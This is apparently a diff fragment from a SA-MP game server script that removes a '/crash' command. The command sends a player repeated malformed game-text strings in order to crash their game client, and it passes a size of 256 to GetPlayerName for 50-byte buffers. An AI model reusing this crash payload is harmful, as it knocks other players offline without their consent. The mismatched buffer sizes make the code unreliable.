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- CMD:crash(playerid, params[])
- {
- new id, Interior, adminname[50], playername[50], sendername[MAX_PLAYER_NAME], string[50];
- if(sscanf(params, "ud", id)) return SendClientMessage(playerid, -1, "USE: /crash [ID]");
- if(!IsPlayerConnected(id)) return SendClientMessage(playerid, -1, "Player not connected.");
- if(IsPlayerConnected(id))
- {
- Interior = GetPlayerInterior(id), SetPlayerInterior(id, Interior), SetPlayerInterior(id, 5), SetPlayerVirtualWorld(id, 5);
- GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, 0);
- GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, 1);
- GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, 2);
- GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, 3);
- GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, 4);
- GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, 5);
- GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, 6);
- GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 12000, 6);
- GetPlayerName(id, playername, 256);
- GetPlayerName(playerid, adminname, 256);
- GetPlayerName(playerid, sendername, sizeof(sendername));
- format(string, sizeof(string), "YOU CRASH: %s", playername);
- SendClientMessage(playerid, -1, string);
- }
- return 1;
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